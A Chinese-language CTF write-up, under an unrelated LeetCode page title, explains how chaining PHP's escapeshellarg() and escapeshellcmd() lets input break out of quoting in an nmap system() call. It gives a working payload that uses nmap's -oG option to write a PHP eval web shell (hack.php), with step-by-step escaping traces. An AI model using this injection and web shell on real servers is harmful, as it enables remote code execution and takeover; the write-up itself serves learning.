1. 程式人生 > 實用技巧 >Java實現的利用遞迴和回溯解決Leetcode一道hard難度題

Java實現的利用遞迴和回溯解決Leetcode一道hard難度題

今天做的這道題是關於escapeshellarg()+escapeshellcmd()這倆函式的,也是看了下wp,這裡記錄一下

題目

拿到題目,題目看著簡單,很好懂

分析

remote_addr和x_forwarded_for這兩個是見的比較多的,伺服器獲取ip用的,這裡沒什麼用,

escapeshellarg()和escapeshellcmd() 沒見過,可以參考這篇文章:https://paper.seebug.org/164/

直接找到了上面這篇文章,這兩個函式在一起用會有些問題

傳入的引數是:172.17.0.2' -v -d a=1
經過escapeshellarg處理後變成了'
172.17.0.2'\'' -v -d a=1',即先對單引號轉義,再用單引號將左右兩部分括起來從而起到連線的作用。 經過escapeshellcmd處理後變成'172.17.0.2'\\'' -v -d a=1\',這是因為escapeshellcmd對\以及最後那個不配對兒的引號進行了轉義:
http://php.net/manual/zh/function.escapeshellcmd.php
最後執行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由於中間的\\被解釋為\而不再是轉義字元,所以後面的'沒有被轉義,與再後面
'配對兒成了一個空白連線符。所以可以簡化為curl 172.17.0.2\ -v -d a=1
',即向172.17.0.2\發起請求,POST 資料為a=1'

簡單的來說就是兩次轉義後出現了問題,沒有考慮到單引號的問題

然後往下看,看到echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

這有個system來執行命令,而且有傳參,肯定是利用這裡了

這裡程式碼的本意是希望我們輸入ip這樣的引數做一個掃描,通過上面的兩個函式來進行規則過濾轉義,我們的輸入會被單引號引起來,但是因為我們看到了上面的漏洞所以我們可以逃脫這個引號的束縛

這裡常見的命令後注入操作如 | & &&都不行,雖然我們通過上面的操作逃過了單引號,但escapeshellcmd會對這些特殊符號前面加上\來轉義…

這時候就只有想想能不能利用nmap來做些什麼了。

這時候搜尋可以發現在nmap命令中 有一個引數-oG可以實現將命令和結果寫到檔案

這個命令就是我們的輸入可控!然後寫入到檔案!OK很自然的想到了上傳一個一句話木馬了…

我們來構造payload

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

執行後會返回資料夾名

然後用蟻劍連線,拿到flag

我們這裡再來分析一下payload容易出現的一些細節上的問題

首先是後面沒有加引號

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php

先經過escapeshellarg()函式處理,該函式會先對單引號轉義,再用單引號將左右兩部分括起來從而起到連線的作用。

?host=''\'' <?php @eval($_POST["hack"]);?> -oG hack.php'

再經過escapeshellcmd()函式處理,escapeshellcmd對\以及最後那個不配對兒的引號進行了轉義,轉義命令中的所有shell元字元來完成工作。這些元字元包括:#&;`,|*?~<>^()[]{}$\\。:

?host=''\'' \<\?php @eval\($_POST\["hack"\]\)\;\?\> -oG hack.php\'

返回結果是上面那樣檔名後面會多一個引號

然後是加引號但引號前沒有空格

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php'

執行結果如下

''\\'' \<\?\php @eval\($_POST\["hack"\]\)\;\?\> -oG hack.php'\\'''

檔名後面就會多出\\

總結

這道題主要就是考查一個escapeshellarg()和escapeshellcmd()這個點

外加一個nmap的檔案寫入。

參考

https://paper.seebug.org/164/

https://blog.csdn.net/qq_26406447/article/details/100711933